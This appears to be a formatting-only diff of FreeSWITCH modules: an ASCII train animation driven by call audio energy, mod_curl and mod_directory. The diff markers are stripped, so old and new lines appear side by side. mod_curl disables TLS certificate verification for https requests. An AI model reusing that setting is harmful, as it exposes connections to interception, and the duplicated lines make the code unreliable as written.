int16_t *fdata = (int16_t *) read_frame->data;
uint32_t samples = read_frame->datalen / sizeof(*fdata);
uint32_t score, count = 0, j = 0;
double energy = 0;
int divisor = 0;
for (count = 0; count < samples; count++) {
energy += abs(fdata[j]);
j += read_impl.number_of_channels;
@@ -275,7 +285,7 @@ int vgo(int i, switch_core_session_t *session)
}
score = (uint32_t) (energy / (samples / divisor));
if (score > energy_level) {
uint32_t diff = score - energy_level;
if (hangover_hits) {
@@ -284,7 +294,7 @@ int vgo(int i, switch_core_session_t *session)
if (diff >= diff_level || ++hangunder_hits >= hangunder) {
hangover_hits = hangunder_hits = 0;
if (!talking) {
talking = 1;
}
@@ -310,22 +320,24 @@ int vgo(int i, switch_core_session_t *session)
}
if (LOGO == 0) {
if (add_D51(x) == ERR) break;
if (add_D51(x) == ERR)
break;
} else {
if (add_sl(x) == ERR) break;
if (add_sl(x) == ERR)
break;
}
refresh();
/*
if (x == COLS / 4) {
sleep(2);
} else {
usleep(sleep_len);
}
*/
}
mvcur(0, COLS - 1, LINES - 1, 0);
endwin();
if (x == COLS / 4) {
sleep(2);
} else {
usleep(sleep_len);
}
*/
}
mvcur(0, COLS - 1, LINES - 1, 0);
endwin();
switch_core_session_set_read_codec(session, NULL);
switch_core_codec_destroy(&codec);
@@ -335,103 +347,114 @@ int vgo(int i, switch_core_session_t *session)
int add_sl(int x)
{
static char *sl[LOGOPATTERNS][LOGOHIGHT + 1]
= {{LOGO1, LOGO2, LOGO3, LOGO4, LWHL11, LWHL12, DELLN},
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL21, LWHL22, DELLN},
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL31, LWHL32, DELLN},
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL41, LWHL42, DELLN},
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL51, LWHL52, DELLN},
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL61, LWHL62, DELLN}};
static char *sl[LOGOPATTERNS][LOGOHIGHT + 1]
= { {LOGO1, LOGO2, LOGO3, LOGO4, LWHL11, LWHL12, DELLN},
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL21, LWHL22, DELLN},
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL31, LWHL32, DELLN},
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL41, LWHL42, DELLN},
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL51, LWHL52, DELLN},
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL61, LWHL62, DELLN}
};
static char *coal[LOGOHIGHT + 1]
= {LCOAL1, LCOAL2, LCOAL3, LCOAL4, LCOAL5, LCOAL6, DELLN};
static char *coal[LOGOHIGHT + 1]
= { LCOAL1, LCOAL2, LCOAL3, LCOAL4, LCOAL5, LCOAL6, DELLN };
static char *car[LOGOHIGHT + 1]
= {LCAR1, LCAR2, LCAR3, LCAR4, LCAR5, LCAR6, DELLN};
static char *car[LOGOHIGHT + 1]
= { LCAR1, LCAR2, LCAR3, LCAR4, LCAR5, LCAR6, DELLN };
int i, y, py1 = 0, py2 = 0, py3 = 0;
if (x < - LOGOLENGTH) return ERR;
y = LINES / 2 - 3;
int i, y, py1 = 0, py2 = 0, py3 = 0;
if (FLY == 1) {
if (x < -LOGOLENGTH)
return ERR;
y = LINES / 2 - 3;
if (FLY == 1) {
y = (x / 6) + LINES - (COLS / 6) - LOGOHIGHT;
py1 = 2; py2 = 4; py3 = 6;
}
py1 = 2;
py2 = 4;
py3 = 6;
}
for (i = 0; i <= LOGOHIGHT; ++i) {
for (i = 0; i <= LOGOHIGHT; ++i) {
my_mvaddstr(y + i, x, sl[(LOGOLENGTH + x) / 3 % LOGOPATTERNS][i]);
my_mvaddstr(y + i + py1, x + 21, coal[i]);
my_mvaddstr(y + i + py2, x + 42, car[i]);
my_mvaddstr(y + i + py3, x + 63, car[i]);
}
if (ACCIDENT == 1) {
}
if (ACCIDENT == 1) {
add_man(y + 1, x + 14);
add_man(y + 1 + py2, x + 45); add_man(y + 1 + py2, x + 53);
add_man(y + 1 + py3, x + 66); add_man(y + 1 + py3, x + 74);
}
add_smoke(y - 1, x + LOGOFUNNEL);
return OK;
add_man(y + 1 + py2, x + 45);
add_man(y + 1 + py2, x + 53);
add_man(y + 1 + py3, x + 66);
add_man(y + 1 + py3, x + 74);
}
add_smoke(y - 1, x + LOGOFUNNEL);
return OK;
}
static int loops = 0;
int add_D51(int x)
{
static char *d51[D51PATTERNS][D51HIGHT + 1]
= {{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
D51WHL11, D51WHL12, D51WHL13, D51DEL},
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
D51WHL21, D51WHL22, D51WHL23, D51DEL},
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
D51WHL31, D51WHL32, D51WHL33, D51DEL},
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
D51WHL41, D51WHL42, D51WHL43, D51DEL},
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
D51WHL51, D51WHL52, D51WHL53, D51DEL},
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
D51WHL61, D51WHL62, D51WHL63, D51DEL}};
static char *coal[D51HIGHT + 1]
= {COAL01, COAL02, COAL03, COAL04, COAL05,
COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL};
static char *d51[D51PATTERNS][D51HIGHT + 1]
= { {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
D51WHL11, D51WHL12, D51WHL13, D51DEL},
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
D51WHL21, D51WHL22, D51WHL23, D51DEL},
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
D51WHL31, D51WHL32, D51WHL33, D51DEL},
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
D51WHL41, D51WHL42, D51WHL43, D51DEL},
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
D51WHL51, D51WHL52, D51WHL53, D51DEL},
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
D51WHL61, D51WHL62, D51WHL63, D51DEL}
};
static char *coal[D51HIGHT + 1]
= { COAL01, COAL02, COAL03, COAL04, COAL05,
COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL
};
static char *acoal[D51HIGHT + 1]
= {COAL01, COAL02, COAL03, COAL04, COAL5A,
COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL};
static char *acoal[D51HIGHT + 1]
= { COAL01, COAL02, COAL03, COAL04, COAL5A,
COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL
};
int y, i, dy = 0;
int y, i, dy = 0;
if (x < - D51LENGTH) return ERR;
y = LINES / 2 - 5;
if (x < -D51LENGTH)
return ERR;
y = LINES / 2 - 5;
if (FLY == 1) {
if (FLY == 1) {
y = (x / 7) + LINES - (COLS / 7) - D51HIGHT;
dy = 1;
}
}
for (i = 0; i <= D51HIGHT; ++i) {
for (i = 0; i <= D51HIGHT; ++i) {
my_mvaddstr(y + i, x, d51[(D51LENGTH + x) % D51PATTERNS][i]);
my_mvaddstr(y + i + dy, x + 53, loops > 60 ? coal[i] : acoal[i]);
loops++;
if (loops == 500) loops = -100;
}
if (ACCIDENT == 1) {
if (loops == 500)
loops = -100;
}
if (ACCIDENT == 1) {
add_man(y + 2, x + 43);
add_man(y + 2, x + 47);
}
add_smoke(y - 1, x + D51FUNNEL);
return OK;
}
add_smoke(y - 1, x + D51FUNNEL);
return OK;
}
int add_man(int y, int x)
{
static char *man[2][2] = {{"", "(O)"}, {"Help!", "\\O/"}};
int i;
static char *man[2][2] = { {"", "(O)"}, {"Help!", "\\O/"} };
int i;
for (i = 0; i < 2; ++i) {
for (i = 0; i < 2; ++i) {
my_mvaddstr(y + i, x, man[(LOGOLENGTH + x) / 12 % 2][i]);
}
}
return 0;
}
@@ -440,45 +463,51 @@ int add_man(int y, int x)
int add_smoke(int y, int x)
#define SMOKEPTNS 16
{
static struct smokes {
static struct smokes {
int y, x;
int ptrn, kind;
} S[1000];
static int sum = 0;
static char *Smoke[2][SMOKEPTNS]
= {{"( )", "( )", "( )", "( )", "( )",
"( )" , "( )" , "( )" , "()" , "()" ,
"O" , "O" , "O" , "O" , "O" ,
" " },
{"(@@@)", "(@@@@)", "(@@@@)", "(@@@)", "(@@)",
"(@@)" , "(@)" , "(@)" , "@@" , "@@" ,
"@" , "@" , "@" , "@" , "@" ,
" " }};
static char *Eraser[SMOKEPTNS]
= {" ", " ", " ", " ", " ",
" " , " " , " " , " " , " " ,
" " , " " , " " , " " , " " ,
" " };
static int dy[SMOKEPTNS] = { 2, 1, 1, 1, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0 };
static int dx[SMOKEPTNS] = {-2, -1, 0, 1, 1, 1, 1, 1, 2, 2,
2, 2, 2, 3, 3, 3 };
int i;
} S[1000];
static int sum = 0;
static char *Smoke[2][SMOKEPTNS]
= { {"( )", "( )", "( )", "( )", "( )",
"( )", "( )", "( )", "()", "()",
"O", "O", "O", "O", "O",
" "},
{"(@@@)", "(@@@@)", "(@@@@)", "(@@@)", "(@@)",
"(@@)", "(@)", "(@)", "@@", "@@",
"@", "@", "@", "@", "@",
" "}
};
static char *Eraser[SMOKEPTNS]
= { " ", " ", " ", " ", " ",
" ", " ", " ", " ", " ",
" ", " ", " ", " ", " ",
" "
};
static int dy[SMOKEPTNS] = { 2, 1, 1, 1, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0
};
static int dx[SMOKEPTNS] = { -2, -1, 0, 1, 1, 1, 1, 1, 2, 2,
2, 2, 2, 3, 3, 3
};
int i;
if (x % 4 == 0) {
if (x % 4 == 0) {
for (i = 0; i < sum; ++i) {
my_mvaddstr(S[i].y, S[i].x, Eraser[S[i].ptrn]);
S[i].y -= dy[S[i].ptrn];
S[i].x += dx[S[i].ptrn];
S[i].y -= dy[S[i].ptrn];
S[i].x += dx[S[i].ptrn];
S[i].ptrn += (S[i].ptrn < SMOKEPTNS - 1) ? 1 : 0;
my_mvaddstr(S[i].y, S[i].x, Smoke[S[i].kind][S[i].ptrn]);
}
my_mvaddstr(y, x, Smoke[sum % 2][0]);
S[sum].y = y; S[sum].x = x;
S[sum].ptrn = 0; S[sum].kind = sum % 2;
sum ++;
}
S[sum].y = y;
S[sum].x = x;
S[sum].ptrn = 0;
S[sum].kind = sum % 2;
sum++;
}
return 0;
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+59 -62
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -28,7 +28,7 @@
* mod_curl.c -- API for performing http queries
*
*/
#include <switch.h>
#include <curl/curl.h>
#include <json.h>
@@ -75,13 +75,12 @@ static size_t file_callback(void *ptr, size_t size, size_t nmemb, void *data)
http_data->bytes += realsize;
if (http_data->bytes > http_data->max_bytes) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int)http_data->bytes);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int) http_data->bytes);
http_data->err = 1;
return 0;
}
http_data->stream.write_function(
&http_data->stream, "%.*s", realsize, ptr);
http_data->stream.write_function(&http_data->stream, "%.*s", realsize, ptr);
return realsize;
}
@@ -90,18 +89,19 @@ static size_t header_callback(void *ptr, size_t size, size_t nmemb, void *data)
register unsigned int realsize = (unsigned int) (size * nmemb);
http_data_t *http_data = data;
char *header = NULL;
header = switch_core_alloc(http_data->pool, realsize+1);
header = switch_core_alloc(http_data->pool, realsize + 1);
switch_copy_string(header, ptr, realsize);
header[realsize] = '\0';
http_data->headers = curl_slist_append(http_data->headers, header);
return realsize;
}
static http_data_t *do_lookup_url(switch_memory_pool_t *pool, const char *url, const char *method, const char *data) {
static http_data_t *do_lookup_url(switch_memory_pool_t *pool, const char *url, const char *method, const char *data)
{
CURL *curl_handle = NULL;
long httpRes = 0;
char hostname[256] = "";
@@ -111,19 +111,19 @@ static http_data_t *do_lookup_url(switch_memory_pool_t *pool, const char *url, c
http_data = switch_core_alloc(pool, sizeof(http_data_t));
memset(http_data, 0, sizeof(http_data_t));
http_data->pool = pool;
http_data->max_bytes = 64000;
SWITCH_STANDARD_STREAM(http_data->stream);
gethostname(hostname, sizeof(hostname));
if (!method) {
method = "get";
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "method: %s, url: %s\n", method, url);
curl_handle = curl_easy_init();
if (!strncasecmp(url, "https", 5)) {
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
@@ -150,54 +150,53 @@ static http_data_t *do_lookup_url(switch_memory_pool_t *pool, const char *url, c
curl_easy_perform(curl_handle);
curl_easy_getinfo(curl_handle, CURLINFO_RESPONSE_CODE, &httpRes);
curl_easy_cleanup(curl_handle);
if ( http_data->stream.data &&
!zstr((char *)http_data->stream.data) &&
strcmp(" ", http_data->stream.data) ) {
if (http_data->stream.data && !zstr((char *) http_data->stream.data) && strcmp(" ", http_data->stream.data)) {
http_data->http_response = switch_core_strdup(pool, http_data->stream.data);
}
http_data->http_response_code = httpRes;
switch_safe_free(http_data->stream.data);
return http_data;
}
static char *print_json(switch_memory_pool_t *pool, http_data_t *http_data) {
static char *print_json(switch_memory_pool_t *pool, http_data_t *http_data)
{
struct json_object *top = NULL;
struct json_object *headers = NULL;
char *data = NULL;
struct curl_slist *header = http_data->headers;
top = json_object_new_object();
headers = json_object_new_array();
json_object_object_add(top, "status_code", json_object_new_int(http_data->http_response_code));
if (http_data->http_response) {
json_object_object_add(top, "body", json_object_new_string(http_data->http_response));
}
/* parse header data */
while(header) {
while (header) {
struct json_object *obj = NULL;
/* remove trailing \r */
if ((data=rindex(header->data, '\r'))) {
if ((data = rindex(header->data, '\r'))) {
*data = '\0';
}
if (zstr(header->data)) {
header = header->next;
continue;
}
if ((data = index(header->data, ':'))) {
*data = '\0';
data++;
while(*data == ' ' && *data != '\0') {
while (*data == ' ' && *data != '\0') {
data++;
}
obj = json_object_new_object();
obj = json_object_new_object();
json_object_object_add(obj, "key", json_object_new_string(header->data));
json_object_object_add(obj, "value", json_object_new_string(data));
json_object_array_add(headers, obj);
@@ -223,15 +222,15 @@ static char *print_json(switch_memory_pool_t *pool, http_data_t *http_data) {
}
json_object_object_add(top, "headers", headers);
data = switch_core_strdup(pool, json_object_to_json_string(top));
json_object_put(top); /* should free up all children */
json_object_put(top); /* should free up all children */
return data;
}
SWITCH_STANDARD_APP(curl_app_function)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
char *argv[10] = { 0 };
int argc;
char *mydata = NULL;
@@ -247,8 +246,8 @@ SWITCH_STANDARD_APP(curl_app_function)
struct curl_slist *slist = NULL;
switch_stream_handle_t stream = { 0 };
int i = 0;
if (session) {
pool = switch_core_session_get_pool(session);
} else {
@@ -257,24 +256,23 @@ SWITCH_STANDARD_APP(curl_app_function)
if (!(mydata = switch_core_session_strdup(session, data))) {
return;
}
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
if (argc == 0) {
switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
}
url = switch_core_strdup(pool, argv[0]);
for (i =1; i < argc; i++) {
for (i = 1; i < argc; i++) {
if (!strcasecmp("headers", argv[i])) {
do_headers = SWITCH_TRUE;
} else if (!strcasecmp("json", argv[i])) {
do_json = SWITCH_TRUE;
} else if ( !strcasecmp("get", argv[i]) ||
!strcasecmp("head", argv[i])) {
} else if (!strcasecmp("get", argv[i]) || !strcasecmp("head", argv[i])) {
method = switch_core_strdup(pool, argv[i]);
} else if (!strcasecmp("post", argv[i])) {
if ( ++i < argc) {
if (++i < argc) {
postdata = switch_core_strdup(pool, argv[i]);
switch_url_decode(postdata);
} else {
@@ -283,7 +281,7 @@ SWITCH_STANDARD_APP(curl_app_function)
}
}
}
http_data = do_lookup_url(pool, url, method, postdata);
if (do_json) {
switch_channel_set_variable(channel, "curl_response_data", print_json(pool, http_data));
@@ -291,7 +289,7 @@ SWITCH_STANDARD_APP(curl_app_function)
SWITCH_STANDARD_STREAM(stream);
if (do_headers) {
slist = http_data->headers;
while(slist) {
while (slist) {
stream.write_function(&stream, "%s\n", slist->data);
slist = slist->next;
}
@@ -300,17 +298,16 @@ SWITCH_STANDARD_APP(curl_app_function)
stream.write_function(&stream, "%s", http_data->http_response ? http_data->http_response : "");
switch_channel_set_variable(channel, "curl_response_data", stream.data);
}
switch_channel_set_variable(channel, "curl_response_code",
switch_core_sprintf(pool, "%ld", http_data->http_response_code));
switch_channel_set_variable(channel, "curl_response_code", switch_core_sprintf(pool, "%ld", http_data->http_response_code));
switch_channel_set_variable(channel, "curl_method", method);
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
usage:
usage:
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Usage: %s\n", SYNTAX);
switch_goto_status(status, done);
done:
done:
switch_safe_free(stream.data);
if (http_data && http_data->headers) {
curl_slist_free_all(http_data->headers);
@@ -319,6 +316,7 @@ done:
switch_core_destroy_memory_pool(&pool);
}
}
SWITCH_STANDARD_API(curl_function)
{
switch_status_t status;
@@ -335,7 +333,7 @@ SWITCH_STANDARD_API(curl_function)
int i = 0;
switch_memory_pool_t *pool = NULL;
if (zstr(cmd)) {
switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
}
@@ -351,20 +349,19 @@ SWITCH_STANDARD_API(curl_function)
if (argc < 1) {
switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
}
url = switch_core_strdup(pool, argv[0]);
for (i =1; i < argc; i++) {
for (i = 1; i < argc; i++) {
if (!strcasecmp("headers", argv[i])) {
do_headers = SWITCH_TRUE;
} else if (!strcasecmp("json", argv[i])) {
do_json = SWITCH_TRUE;
} else if ( !strcasecmp("get", argv[i]) ||
!strcasecmp("head", argv[i])) {
} else if (!strcasecmp("get", argv[i]) || !strcasecmp("head", argv[i])) {
method = switch_core_strdup(pool, argv[i]);
} else if (!strcasecmp("post", argv[i])) {
method = "post";
if ( ++i < argc) {
if (++i < argc) {
postdata = switch_core_strdup(pool, argv[i]);
switch_url_decode(postdata);
} else {
@@ -372,14 +369,14 @@ SWITCH_STANDARD_API(curl_function)
}
}
}
http_data = do_lookup_url(pool, url, method, postdata);
if (do_json) {
stream->write_function(stream, "%s", print_json(pool, http_data));
} else {
if (do_headers) {
slist = http_data->headers;
while(slist) {
while (slist) {
stream->write_function(stream, "%s\n", slist->data);
slist = slist->next;
}
@@ -390,11 +387,11 @@ SWITCH_STANDARD_API(curl_function)
}
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
usage:
usage:
stream->write_function(stream, "-ERR\n%s\n", SYNTAX);
switch_goto_status(status, done);
done:
done:
if (http_data && http_data->headers) {
curl_slist_free_all(http_data->headers);
}
@@ -414,7 +411,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_curl_load)
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
memset(&globals, 0, sizeof(globals));
globals.pool = pool;
SWITCH_ADD_API(api_interface, "curl", "curl API", curl_function, SYNTAX);
+123 -116
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -40,19 +40,16 @@ SWITCH_MODULE_DEFINITION(mod_directory, mod_directory_load, mod_directory_shutdo
static const char *global_cf = "directory.conf";
static char dir_sql[] =
"CREATE TABLE directory_search (\n"
" hostname VARCHAR(255),\n"
" uuid VARCHAR(255),\n"
" extension VARCHAR(255),\n"
" full_name VARCHAR(255),\n"
" full_name_digit VARCHAR(255),\n"
" first_name VARCHAR(255),\n"
" first_name_digit VARCHAR(255),\n"
" last_name VARCHAR(255),\n"
" last_name_digit VARCHAR(255),\n"
" name_visible INTEGER,\n"
" exten_visible INTEGER\n"
");\n";
"CREATE TABLE directory_search (\n"
" hostname VARCHAR(255),\n"
" uuid VARCHAR(255),\n"
" extension VARCHAR(255),\n"
" full_name VARCHAR(255),\n"
" full_name_digit VARCHAR(255),\n"
" first_name VARCHAR(255),\n"
" first_name_digit VARCHAR(255),\n"
" last_name VARCHAR(255),\n"
" last_name_digit VARCHAR(255),\n" " name_visible INTEGER,\n" " exten_visible INTEGER\n" ");\n";
#define DIR_RESULT_ITEM "directory_result_item"
#define DIR_RESULT_SAY_NAME "directory_result_say_name"
@@ -113,51 +110,52 @@ typedef enum {
PFLAG_DESTROY = 1 << 0
} dir_flags_t;
static int digit_matching_keypad(char letter) {
static int digit_matching_keypad(char letter)
{
int result = -1;
switch(toupper(letter)) {
case 'A':
case 'B':
case 'C':
result = 2;
break;
case 'D':
case 'E':
case 'F':
result = 3;
break;
case 'G':
case 'H':
case 'I':
result = 4;
break;
case 'J':
case 'K':
case 'L':
result = 5;
break;
case 'M':
case 'N':
case 'O':
result = 6;
break;
case 'P':
case 'Q':
case 'R':
case 'S':
result = 7;
break;
case 'T':
case 'U':
case 'V':
result = 8;
break;
case 'W':
case 'X':
case 'Y':
case 'Z':
result = 9;
break;
switch (toupper(letter)) {
case 'A':
case 'B':
case 'C':
result = 2;
break;
case 'D':
case 'E':
case 'F':
result = 3;
break;
case 'G':
case 'H':
case 'I':
result = 4;
break;
case 'J':
case 'K':
case 'L':
result = 5;
break;
case 'M':
case 'N':
case 'O':
result = 6;
break;
case 'P':
case 'Q':
case 'R':
case 'S':
result = 7;
break;
case 'T':
case 'U':
case 'V':
result = 8;
break;
case 'W':
case 'X':
case 'Y':
case 'Z':
result = 9;
break;
}
@@ -185,7 +183,7 @@ char *string_to_keypad_digit(const char *in)
if (*d) {
*d = '\0';
}
}
}
return dst;
}
@@ -206,7 +204,7 @@ static switch_status_t directory_execute_sql(char *sql, switch_mutex_t *mutex)
status = switch_core_db_persistant_execute(db, sql, 1);
switch_core_db_close(db);
end:
end:
if (mutex) {
switch_mutex_unlock(mutex);
}
@@ -304,7 +302,7 @@ static switch_bool_t directory_execute_sql_callback(switch_mutex_t *mutex, char
switch_core_db_close(db);
}
end:
end:
if (mutex) {
switch_mutex_unlock(mutex);
}
@@ -337,34 +335,32 @@ dir_profile_t *profile_set_config(dir_profile_t *profile)
profile->config_str_pool.pool = profile->pool;
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "next-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
&profile->next_key, "6", &config_dtmf, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "prev-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
&profile->prev_key, "4", &config_dtmf, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "next-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->next_key, "6", &config_dtmf, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "prev-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->prev_key, "4", &config_dtmf, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "terminator-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
&profile->terminator_key, "#", &config_dtmf, NULL, NULL);
&profile->terminator_key, "#", &config_dtmf, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "switch-order-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
&profile->switch_order_key, "*", &config_dtmf, NULL, NULL);
&profile->switch_order_key, "*", &config_dtmf, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "select-name-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
&profile->select_name_key, "1", &config_dtmf, NULL, NULL);
&profile->select_name_key, "1", &config_dtmf, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "new-search-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
&profile->new_search_key, "3", &config_dtmf, NULL, NULL);
&profile->new_search_key, "3", &config_dtmf, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "search-order", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
&profile->search_order, "last_name", &profile->config_str_pool, NULL, NULL);
&profile->search_order, "last_name", &profile->config_str_pool, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "digit-timeout", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
&profile->digit_timeout, 3000, &config_int_digit_timeout, NULL, NULL);
&profile->digit_timeout, 3000, &config_int_digit_timeout, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "min-search-digits", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
&profile->min_search_digits, 3, &config_int_ht_0, NULL, NULL);
&profile->min_search_digits, 3, &config_int_ht_0, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-menu-attempts", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
&profile->max_menu_attempt, 3, &config_int_ht_0, NULL, NULL);
&profile->max_menu_attempt, 3, &config_int_ht_0, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-result", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
&profile->max_result, 5, &config_int_ht_0, NULL, NULL);
&profile->max_result, 5, &config_int_ht_0, NULL, NULL);
return profile;
}
static dir_profile_t * load_profile(const char *profile_name)
static dir_profile_t *load_profile(const char *profile_name)
{
dir_profile_t *profile = NULL;
switch_xml_t x_profiles, x_profile, cfg, xml = NULL;
@@ -413,7 +409,7 @@ static dir_profile_t * load_profile(const char *profile_name)
switch_core_hash_insert(globals.profile_hash, profile->name, profile);
}
end:
end:
switch_xml_free(xml);
return profile;
@@ -451,7 +447,7 @@ static switch_status_t load_config(switch_bool_t reload)
return SWITCH_STATUS_SUCCESS;
}
static dir_profile_t * get_profile(const char *profile_name)
static dir_profile_t *get_profile(const char *profile_name)
{
dir_profile_t *profile = NULL;
@@ -469,7 +465,8 @@ static dir_profile_t * get_profile(const char *profile_name)
return profile;
}
static switch_status_t populate_database(switch_core_session_t *session, dir_profile_t * profile, const char *domain_name) {
static switch_status_t populate_database(switch_core_session_t *session, dir_profile_t *profile, const char *domain_name)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
char *sql = NULL;
@@ -561,8 +558,9 @@ static switch_status_t populate_database(switch_core_session_t *session, dir_pro
firstNameDigit = string_to_keypad_digit(firstName);
/* add user into DB */
sql = switch_mprintf("insert into directory_search values('%q','%q','%q','%q','%q','%q','%q','%q','%q','%d','%d')",
globals.hostname, switch_core_session_get_uuid(session), id, fullName, fullNameDigit, firstName, firstNameDigit, lastName, lastNameDigit, name_visible, exten_visible);
sql = switch_mprintf("insert into directory_search values('%q','%q','%q','%q','%q','%q','%q','%q','%q','%d','%d')",
globals.hostname, switch_core_session_get_uuid(session), id, fullName, fullNameDigit, firstName, firstNameDigit,
lastName, lastNameDigit, name_visible, exten_visible);
if (sqlvalues) {
sqltmp = sqlvalues;
@@ -580,10 +578,10 @@ static switch_status_t populate_database(switch_core_session_t *session, dir_pro
}
}
}
sql = switch_mprintf("BEGIN;%s;COMMIT;",sqlvalues);
sql = switch_mprintf("BEGIN;%s;COMMIT;", sqlvalues);
directory_execute_sql(sql, profile->mutex);
end:
end:
switch_safe_free(sql);
switch_safe_free(sqlvalues);
switch_event_destroy(&xml_params);
@@ -603,27 +601,27 @@ typedef struct cb_result cbr_t;
static switch_status_t on_dtmf(switch_core_session_t *session, void *input, switch_input_type_t itype, void *buf, unsigned int buflen)
{
switch (itype) {
case SWITCH_INPUT_TYPE_DTMF:
{
switch_dtmf_t *dtmf = (switch_dtmf_t *) input;
cbr_t *cbr = (cbr_t *) buf;
cbr->digit = dtmf->digit;
if (dtmf->digit == *cbr->profile->terminator_key || dtmf->digit == *cbr->profile->switch_order_key) {
return SWITCH_STATUS_BREAK;
}
if (strlen(cbr->digits) < sizeof(cbr->digits) - 2) {
int at = strlen(cbr->digits);
cbr->digits[at++] = dtmf->digit;
cbr->digits[at] = '\0';
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "DTMF buffer is full\n");
return SWITCH_STATUS_BREAK;
}
case SWITCH_INPUT_TYPE_DTMF:
{
switch_dtmf_t *dtmf = (switch_dtmf_t *) input;
cbr_t *cbr = (cbr_t *) buf;
cbr->digit = dtmf->digit;
if (dtmf->digit == *cbr->profile->terminator_key || dtmf->digit == *cbr->profile->switch_order_key) {
return SWITCH_STATUS_BREAK;
}
break;
default:
break;
if (strlen(cbr->digits) < sizeof(cbr->digits) - 2) {
int at = strlen(cbr->digits);
cbr->digits[at++] = dtmf->digit;
cbr->digits[at] = '\0';
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "DTMF buffer is full\n");
